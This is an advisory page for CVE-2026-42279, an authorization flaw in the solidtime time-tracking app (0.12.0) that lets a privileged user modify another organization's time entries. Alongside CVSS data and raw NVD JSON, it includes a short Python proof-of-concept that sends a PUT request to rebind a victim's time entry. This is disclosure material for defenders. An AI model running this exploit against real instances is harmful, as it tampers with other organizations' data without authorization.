Security Vulnerability Report
中文
CVE-2026-42279 CVSS 5.8 MEDIUM

CVE-2026-42279

Published: 2026-05-08 05:16:11
Last Modified: 2026-05-08 19:44:23

Description

solidtime is an open-source time-tracking app. In version 0.12.0, the PUT /api/v1/organizations/{organization}/time-entries/{timeEntry} API accepts a route-bound timeEntry from another organization when the caller has time-entries:update:all in the URL organization, allowing a known foreign time-entry UUID to be modified and rebound to objects in the caller's organization. This issue has been patched in version 0.12.1.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:solidtime:solidtime:0.12.0:*:*:*:*:*:*:* - VULNERABLE
solidtime < 0.12.1
solidtime 0.12.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration TARGET_URL = "https://target-solidtime-instance.com" ATTACKER_ORG_ID = "org-attacker-uuid" ATTACKER_TOKEN = "attacker-api-token-with-high-privileges" VICTIM_TIME_ENTRY_ID = "time-entry-victim-uuid" # Known UUID from another org ATTACKER_PROJECT_ID = "project-attacker-uuid" # Exploit: Modify victim's time entry to bind to attacker's project url = f"{TARGET_URL}/api/v1/organizations/{ATTACKER_ORG_ID}/time-entries/{VICTIM_TIME_ENTRY_ID}" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json", "Accept": "application/json" } # Payload to rebind the foreign time entry payload = { "project_id": ATTACKER_PROJECT_ID, "description": "This entry has been stolen and modified." } response = requests.put(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Time entry modified.") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42279", "sourceIdentifier": "[email protected]", "published": "2026-05-08T05:16:11.063", "lastModified": "2026-05-08T19:44:22.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "solidtime is an open-source time-tracking app. In version 0.12.0, the PUT /api/v1/organizations/{organization}/time-entries/{timeEntry} API accepts a route-bound timeEntry from another organization when the caller has time-entries:update:all in the URL organization, allowing a known foreign time-entry UUID to be modified and rebound to objects in the caller's organization. This issue has been patched in version 0.12.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:solidtime:solidtime:0.12.0:*:*:*:*:*:*:*", "matchCriteriaId": "39FAC404-ED2B-4353-B390-DFFAEF7AD3C4"}]}]}], "references": [{"url": "https://github.com/solidtime-io/solidtime/commit/b73aa543fdf5b61c37447307ab7277451296832c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/solidtime-io/solidtime/releases/tag/v0.12.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/solidtime-io/solidtime/security/advisories/GHSA-pmf9-pxq9-ccwr", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/solidtime-io/solidtime/security/advisories/GHSA-pmf9-pxq9-ccwr", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}